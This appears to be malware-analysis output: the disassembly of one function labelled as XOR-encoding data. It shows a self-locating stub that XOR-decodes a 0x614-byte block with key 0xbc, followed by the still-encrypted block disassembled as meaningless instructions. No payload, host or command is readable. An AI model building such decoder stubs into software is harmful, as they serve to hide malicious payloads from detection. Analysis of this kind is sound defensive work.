Function at 0x103a5510
Capabilities:
Encode data using xor

Disassembly:
jmp 0x103a551a
pushal
call 0x103a5520
pop ebp
sub ebp, 0x10
sub ebp, 0x3a5510
mov al, byte [esp + 0x28]
cmp al, 1
je 0x103a5544
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x103a554d
mov eax, 0x3a5510
add eax, ebp
add eax, 0x63
mov ecx, 0x614
mov edx, 0xa6adebbc
xor byte [eax], dl
inc eax
dec ecx
jne 0x103a5564
jmp 0x103a5577
aaa
jno 0x103a55b1
xor eax, 0xbcbcbc80
cmp eax, 0xbcbc447d
mov esp, 0xb80471bf
mov esp, 0x9406bcbc
mov esp, 0x5e4bbcbc
mov edi, 0xb03d3774
mov esp, 0x79bfbcbc
xor eax, ebx
cwde
inc eax
xor eax, 0xd4ec98b8
adc al, 0x3e
mov dl, 0xbc
aam 0xda
outsb dx, byte [esi]
xchg edi, eax
mov esp, 0xd49890bd
adc cl, dl
enter 0xffffffffffffb954, 0xffffffffffffffbc
cwde
aam 0x10
shl dword [esi], 1
enter 0xffffffffffffb954, 0xffffffffffffffbc
mov esp, 0xbc9655bc
mov esp, 0xd031e9bc
cwde
mov esp, 0xbcb43937
mov esp, 0xb02937bc
mov esp, 0x3137bcbc
lodsb al, byte [esi]
mov esp, 0x557dbcbc
mov esi, 0x7e3fbe8d
mov eax, 0x4839b3f5
inc ebx
inc ebx
inc ebx
loope 0x103a5667
mov al, 0xbc
aaa
xor byte [eax - 0x43434348], bl
aam 0x14
mov dl, 0xbc
aam 0xda
outsb dx, byte [esi]
xchg edi, eax
mov esp, 0x319890bd
fcomp dword [eax - 0x674fcac0]
push esp
mov ecx, 0x55bcbcbc
int1
mov esi, 0xd831bcbc
cwde
inc eax
xor eax, 0xd0319890
cwde
mov esp, 0x43b0c943
leave
mov ah, 0x54
les edi, [esp + edi*4 - 0x4bfec844]
mov esp, 0x758fbcbc
cmp eax, 0x9bfcb34e
mov ecx, 0xfcb34e3d
wait
mov ecx, 0x543f6e8f
mov ecx, 0xf238b3f4
mov esp, 0x34b3bcbc
hlt
mov bl, 0x38
test eax, 0xfdbcbcbc
push ebp
jo 0x103a56b4
inc ebx
inc ebx
xchg ebp, eax
invalid
aas
jge 0x103a5633
aas
push esp
mov eax, 0x43430155
inc ebx
xchg ebp, eax
call 0x8d7a150d
mov edx, 0x3fb8563f
push esp
mov ecx, 0x43431755
inc ebx
aaa
nop
cwde
xor eax, ebx
cwde
mov eax, 0xe9bcb07e
aaa
push eax
ljmp 0x37b0
mov ah, 0x40
push cs
cmp al, 0x36
mov edx, 0xbcbd7a3d
mov esp, 0x3dbb34bc
jnp 0x103a5677
mov esp, 0x7b3dbb34
mov ebp, 0x7bcbcbc
mov esi, 0xbebcbcbc
outsb dx, byte [esi]
mov esp, 0xbe07bcbc
mov esp, 0x6ebebcbc
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3f
inc ebx
inc ebx
inc ebx
mov esi, 0xb939b36e
mov esp, 0xaa36bcbc
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3f
salc
mov esp, 0x7c8fbcbc
mov esi, 0xb939b36e
mov esp, 0xaa36bcbc
jl 0x103a56a9
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
cmp dword [ecx + 0x36bcbcbc], edi
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3f
xchg esi, eax
mov ebp, 0x6ebebcbc
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0x103a56cb
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0x103a56da
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0x103a56e9
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0x103a56ed
cmp byte [edx + 0x37bcbcbc], bh
arpl word [edi + 0x34bf3664], dx
mov ebx, 0xbcbe07fb
mov esp, 0x43cc55bc
inc ebx
inc ebx
add al, 0xbd
mov esp, 0x6ebebcbc
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0x103a5725
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3e
bound eax, qword [ebx + 0x43]
inc ebx
xchg edi, eax
jg 0x103a5783
mov ebp, 0xb3bcbcbc
cmp dword [eax + 0x5bcbcbc], ecx
mov ebp, 0xbebcbcbc
outsb dx, byte [esi]
mov esp, 0xbd05bcbc
mov esp, 0x6ebebcbc
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jne 0x103a5759
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3e
bound eax, qword [ebx + 0x43]
inc ebx
ljmp 0x184f